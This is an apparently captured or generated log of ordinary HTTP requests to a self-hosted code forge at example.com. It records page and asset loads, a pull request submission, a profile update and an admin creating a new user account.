{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
|
|
||||||
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
